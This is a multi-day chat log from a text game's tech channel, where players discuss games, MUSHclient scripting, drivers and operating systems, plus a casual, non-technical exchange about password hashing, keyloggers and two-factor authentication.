T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: I would hope since it costed 100m to develop.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: lemme check how many hours I played
T3/r7/2013-03-29.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Any infinite product you can get for a finite price is a good deal.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: hmm yeah I finished it in 15 hours so I guess it's a little on the short side
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Turie Tech: I would like to see FFVII remade with new graphics.
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Thunderax Tech: liked the first, got bored and stopped playing the second halfway, not sure i'll buy this one
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: still totally worth it especially if you get it on PC at a cheap price
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: thunderax: this one is better than the second
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: also there are a lot of ways that it's different from the first and second
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Torkin Tech: do you need to have played the second to understand the third?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: no
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Ayasinda Tech: won't buy it. don't like the bioshock games
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Thunderax Tech: different? how so?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: I would recommend having played the first though
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: the setting is entirely different. it's also more colourful
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: well ok actually not ENTIRELY different, the same basic concept of it is kind of similar, but it goes in a different direction
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Does it look as good as it does in the commercials?  Or was that 100% CGI
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Thunderax Tech: are there big daddies? :P
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Vonliege Tech: everyone may recall that I was having bad network issues yesterday... thanks to all the assistance with 'ping', 'tracert', Axence, etc... I was able to narrow it down to my DSL modem.  It's replaced, and my network is back in perfect trim.  Thanks
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: there are Handymen, which are sort of like Big Daddies a bit
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: it does look pretty good if you have the PC version and a beefy graphics card
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: is there a way to purge all cexits in a paticular zone ?  leaving map intact ?
T3/r7/2013-03-29.txt.gz:{chan ch=tech}BlueBeetle Tech: and not having to  run to each room by room :p
T3/r7/2013-03-29.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Any info people out there have a complete list of clan level, pup, death, and sucicide messages? I'd be willing to pay for a compiled list.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: in mush is there a way to search backwards for a previous command instead of scrolling through each command using the up key?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: in keyboard preferences under commands, you can set it so that the up arrow (or alt+up) will search
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: search for previously entered command?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: it'll do just like the up arrow does now, but only for commands that contain (or start with, not sure which) what you already have in the command line
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mushclient can do tab completion
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: that matches on output, though
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: unless there's an option to change that
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: doesnt seem to work, ty anyway
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: hmm, looks like you can set a word bank for it
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: What doesn't work about it?  works fine for me
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: if I type "dai", and then press alt+up, it puts "daily blessing" on my command line, even though that was several commands ago.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: i checked alt+up, typed partial word that i have used in prev command and pressed alt-up, didnt seem to work
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: is it only matching start of line?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: looks like it only matches on start, yeah
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Leinei Tech: You could do it with scripting, if you wanted to.  There are functions that return your command history.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zetkax Tech: nice, may try that out later
T3/r7/2013-03-30.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: whats the file's name to open need for speed underground 2?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ozu Tech: think its speed2.exe
T3/r7/2013-03-30.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm, strange...but thanks
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is there any os that doesn't have ui-hickups? i mean is there some that has been designed not to do so and doesn't?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: but ui-hickups are connected to hardware, network, peripherals
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ixle Tech: There are quite a few linux distros that are designed to have low UI overhead.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i hate when pushing a button or moving a window needs "a lil' time"
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: probably using some rt os you could have none "ui-hickups"
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: whats rt?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: like QNX for example
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: real-time os
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ok
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: os where time is finite and definite
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: though those are not much usable for mortals
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: too good for us?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: rather too simple
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: win7 is still quite bad.. ssd helps a lot though
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: I mean instead of having multiple windows or multiple tabs in internet browser - you have just single window and single tab
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh, ok
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: RT OSes guarantees that you will have result in finite time
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: so can be quite useful in medical equipment, factory automation, etc.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: interesting..
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: anyway, not much usable to typical desktop user
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: curious how long  does it take to crack a md5 hashed password? ( unsalted just md5 itself)
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: Do you have a big ole dictionary?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: Can't crack md5. You can brute force test, but not crack.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: Oh blah,  Use a dictionary file to breute force
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: If he could crack it, he'd be a very rich man
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: Or killed by e.g. cia
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: or recruited by NSA
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: heh i dont wanna crack it :p i just wanna ensure a  secure login/register forms :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}RedRain Tech: or NOrth Korea!
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: just factorize some numbers from RSA to get some money
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: SQL injection, please pay attention you don't leave your site vulnerable
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: They ended that challenge a while ago, Trachx.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: i guess i could require to change passwords every  6 mo
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 99% of the time the crack is not guessing the un/pw combos, it is packet sniffing along the way, keylogging or social engineering
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: Least I'm pretty sure they did... one sec.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: i havd sanitation steps to  remove slashes
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: Yeah, from http://www.rsa.com/rsalabs/node.asp?id=2093 - This challenge is no longer active
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: dashes? */
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The best thing anyone can learn about crypto is, if you aren't doing crypto exclusively, don't do it at all - get someone else to do it
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Tech: BlueBeetle smirks.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: The best thing anyone can learn about crypto is that if somebody claims to have some brand new method that is super-secure, but they won't tell you the details, you leave.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zade Tech: they used to hype that quantum computers were going to factorize RSa keys in an instant -- some scientists and or science journalists do lie
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: ive seen some bcrypt+ md5+ salted  processes its insane :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh yes, open source crypto or gtfo
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: dude quantum computers like biggest math calculation is like three times five right now
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Trachx Tech: problem with quantum computing is that you get too many results
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I thought there were no viable quantum computers in existence?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: All you can ever do with a (proper) has algorithm is a brute force attack.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Zade Tech: likely never going to be either
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: just lab work key word Viable screw particles
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: hash*
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Tech: Jhav blinks innocently at Trachx.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: I have the best solution!  Don't let your server get owned
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, looks like we have quantum gates and such working, even up to a quantum adder - but no quantum computer exists at the current, disclosed moment
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: my  local credit union has a funny way of authenticating :p first is acct nbr and captcha code, then comes   a 1 to 5 different random security question then after that u get an image   that pops up if its there then u enter pass and in,  3 step dance that :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can't believe it isn't Two Factor!
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: hmm so we have a quauntum computer that can do calculations of a dollar calc 
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: Just avoid using simple passwords, and don't log in from a windows machine (keyloggers) and you'll probably be safe :D
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: Oh man, see what phishers have done it makes the competent peopls life hard
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ranrr, keyloggers can affect any machine
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: Now the hardware keyloggers are awesome
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: When was the last time you saw a keylogger for linux (or mac, or openbsd)?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I like the calibrated vibration using accelerometers keyloggers
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: ye love my hardware logger :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: saved my ass a few times :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: they sell keyloggers for os x
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: Oh, the ones for smartphones Vakieh? :P
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Redryn Tech: when i'm paranoid i typo my password and use the mouse to click to different parts
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Jhav Tech: Those are pretty hilarious.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Redryn Tech: don't think most keyloggers log mouseclicks well
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: lol
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Redryn, they can record like a macro if they want
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: a keylogger don't but if you have hooks in the dll already its easy to have mouse locaation reported
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: not common tho  vak
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Jhav: Yeah :-) And you can just sit the smartphone on a desk, calibrate it yourself for a certain spot, and log an actual keyboard also
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Redryn Tech: yea but then they'd need to have the window position too
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not common, no - but then, keyloggers aren't exactly prolific
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: I just never type a important password on a machine that I don't have full control over. And never, ever, on a windows machine. Ever.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: dude I've seen bot and such ran in python
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Redryn Tech: hopefully it would be enough to confuse them at the first attempt enough to get them to skip it
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: bot and such?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: well ran through py2exe
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: a "remote administration tool"
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Two Factor was put forward as the single most powerful method of accessible encryption - too bad nobody imps it properly
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: i could take it one step further and require and or annoy them to carry a  flash drive with fingerprint as a 2nd salt for accessing hardware :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you want to log into your bank, you should need to register a mobile number with which to Two Factor with, and send a text using an app or some such to unlock access for a 3 minute login window, etc
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://en.wikipedia.org/wiki/Multi-factor_authentication
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: Most banks in sweden have a rsa dongle thingie for login.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://thedailywtf.com/Articles/WishItWas-TwoFactor-.aspx
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: RSA dongles are the way to go... although do I have bad timing it seems
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Interesting you should mention that Ranrr - because that practice grew out of a US bank regulator recommendation, which the US banks 'Kinda Sorta' did
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nah, dongles are very easy to crack - just get your hands on one
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: Here we have had them since the 90s.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 2nd line of communication is the only way to go
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: thought it had some stupid half life blah blah of a chemical
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Internet line and a mobile phone line, etc
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Half life is an average, and cannot be relied on in any way aside from an average
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ranrr Tech: You'd have to break into my house to get it. Sorta harder than getting a keylogger onto a windows machine.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: Well if you have people breaking into your house for keyloggers they're probbly part of a three letter organization
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: dongles are just one of  the few steps  cant complete the hijack with just a dongle
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Incredible Iceman Tech: does anyone know of a time till next gq script for mush?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: dude mapper and winkles isnt enough ?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: want an example of how bad people are for social engineering?  I used to be a loan officer and I would cold call people and have them give social
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: the games broke :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: I wasn't even a smooth talker, I can't imagine what a con could pull
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I work in a photo lab part of the week - I get people's email passwords, facebook, even bank for some odd reason - even though I never ask and actually have no use for them
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: They jut give them along with stuff to develop?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: ppl still use  35mm ?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: I love my pentax!
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: It's been sitting on my shelf for a few years now... maybe a decade
T3/r7/2013-03-30.txt.gz:{chan ch=tech}BlueBeetle Tech: i remember the 1/10 :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: I had a spy camera with those!  I was so badass in the day
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Tech: BlueBeetle smirks.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh. Just worked out the source of my intermittent network failures - it doesn't like me connecting to aardwolf and test port on the same ports :-P
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait. They are on different ports by default. Wonder what it is about loading them both up that drops it then o.0
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Karang Tech: ahh thats once you're on the network :p
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Knitely Tech: how come when i make an alias in mush client, then make another alias that uses an alias i already have made, it fires the command and not the aliased command?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: set the Send To drop down box to execute
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Knitely Tech: thank you
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Knitely Tech: which one? example, i have reca aliases to use a portal, i set that alias to execute like you said, but other aliases with reca in it dont fire the alias
T3/r7/2013-03-30.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: set the one, that is supposed to trigger another alias
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Knitely Tech: thanks again
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Aurelia Tech: My inventory miniwindow is'nt updating - Any suggestions on how to refresh it?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Daagar Tech: Is there no GMCP flag for being in 'noexp' mode? I assume I'm just overlooking it.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yes
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The local Lemontree Tech: The command Runto camps gives me a message saying Camps is not an area keyword or find location in this area.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Ayasinda Tech: did you accidentally put a space behind camps?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The local Lemontree Tech: I made sure not to leave a space and it worked. Thanks. 
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't find any base 64 encoding that produces + or / despite them being part of the output character set. Is anyone familiar with this?
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Commonly substituted due to URL encoding.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: like a+== decoded produces k, which encoded produces aw==
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but urls can have + in them
T3/r7/2013-03-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I guess it has a meaning
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: But they'll generally be decoded to spaces.
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Hanslanda Tech: + in URLs is used to separate script arguments from each other
T3/r7/2013-03-30.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: No, & is.  Or much less commonly, ','.  + is a space in not exactly standard but universal encoding.
T3/r7/2013-03-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Are the two states of a PHP variable defined by empty($var) and isset($var) ?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Can there be something else?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Aurelia Tech: Any ideas how to get rid of these plugin errors I get randomly when using things in my inventory?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: Probably not without knowing which plugin or what the error is.
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Aurelia Tech: It tends to be on Bast's eqset and eqdb
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Aurelia Tech: Itd be nice if it could stay working
T3/r7/2013-03-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Could someone help me with http://ix.io/4XM? It's a short snippet of code, I can't get page 0 to load and I'm not sure why.
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Pedwiddle Tech: Shouldn't elseif be one word?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: else if and elseif are identical in PHP so long as you use {} and not :
T3/r7/2013-03-31.txt.gz:{chan ch=tech}AardGuide Marchetti Tech: anyone know of a mushclient script that will allow me to get items from a container by level?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: finger me
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: I think that one does.  Been a while since I've looked at it
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: yeah, it does
T3/r7/2013-03-31.txt.gz:{chan ch=tech}AardGuide Marchetti Tech: thanks
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: copy and paste it into notepad, save it as a .xml file.  then go to file-plugins-add in mushclient
T3/r7/2013-03-31.txt.gz:{chan ch=tech}AardGuide Marchetti Tech: thanks
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Leinei Tech: sorry, meant that for tell.  trying to multitask :P
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: hmm would it be ok if i asked a tech question not directly related to the mud?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Trachx Tech: never ask to ask
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We'll never know unless you ask. Asking to ask is pointless.
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: true..
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: well this rig has win7 on it but the gfx card is 8.1 so not suported, would there be any generic video driver that will at least put me in a higher reso then 1024x?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: yes
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: then pls enlighten me :)
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: who made the gfx card?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, what card is it. "8.1" tells us nothing
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: its a Ti4200 msi
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: www.nvidia.com
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://driverscollection.com/?H=Ti4200-TD8X&By=MSI%20(Microstar)
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's the miscrostar list of drivers at least
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: get it from nvidia would be far better, more up to date
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Probably
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: ill look into that cheese, hopefully ill find something usefull
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: why are you using win7 on such an old honk of crap?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: hell, puot 8 on it
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 8 runs better on less resources
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: because its a replacement rig that a friend droped, that he used as a coffeetable?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: you'd be better off running an OS that is temporal context appropriate, such as XP
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: uhu, if i had the software lyin around i wouldnt be askin for help :)
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or throw linux on it
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: he put win7 on it, did he?
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: already used to the aardmuch .. so no need for liux
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mush runs under wine
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: fair enough
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: lookin for a driver now, thx a bunch tho will let ya know how it turns out
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: in fact, it plays really nicely under ubuntu 13.04 from what i've seen
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: ti4200 should be supported natively by win7
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: so you need a better graphics card if you want better graphics resilution
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: lol im talking about 1152x
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Tigernuts Tech: http://www.geforce.co.uk/drivers/results/57502
T3/r7/2013-03-31.txt.gz:{chan ch=tech}Rintrah Tech: roger that last lonk looks solid, ill try that now :)
T3/r7/2013-04-01.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone on Freenode IRC? :)
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ixle Tech: Anything useful to do with a lot of random chargers for small devices? Hotel I work at has a drawer full of stuff left and never claimed.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ranrr Tech: Lend them to visitors for free. I would appriciate a hotel that did that, I always forget chargers.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ixle Tech: We do
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ixle Tech: Still racking up too many
T3/r7/2013-04-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm
T3/r7/2013-04-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: anyone know how much onboard memory a p4m80p foxconn mother board has?
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: jfgi
T3/r7/2013-04-01.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: huh?
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: there a linux version of mushclient-aard/
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: I think you have to use wine under linux
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: though if you can program you could adapt mush to linux - you can get source code for mushclient
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: nod, thanks
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ranrr Tech: That would probably be a major undertaking, like man-years of effort (I would guess).
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: think mushc already has something in that direction, will check it out
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: man-years? don't think so unless it require total rewriting
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ranrr Tech: I'm just guessing, haven't even seen the code, and don't use mush :D
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: probably using some more portable toolkit like QT could make matters easier
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: I mean it still could be used under Win with the same code
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Trachx Tech: so there is no problem with forking and then porting back changes from new versions of vanilla mush
